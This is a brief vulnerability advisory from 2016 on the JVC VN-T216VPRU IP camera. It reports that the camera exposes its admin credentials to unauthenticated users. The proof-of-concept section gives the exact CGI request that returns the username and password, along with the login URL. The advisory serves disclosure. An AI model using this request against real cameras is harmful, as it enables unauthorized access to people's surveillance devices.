1. Advisory Information
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Title                   : JVC IP-Camera (VN-T216VPRU) Remote Credentials Disclosure
Vendor Homepage         : http://pro.jvc.com/
Remotely Exploitable	: Yes
Tested on Camera types	: VN-T216VPRU
Product References      : http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145
Vulnerability           : Username / Password Disclosure (Critical/High)
Date                    : 19/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)


2. CREDIT
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This vulnerability was identified during penetration test by Yakir Wizman.


3. Description
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JVC IP-Camera (VN-T216VPRU) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
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Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0";

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Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
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Contact the vendor for further information regarding the proper mitigation of this vulnerability.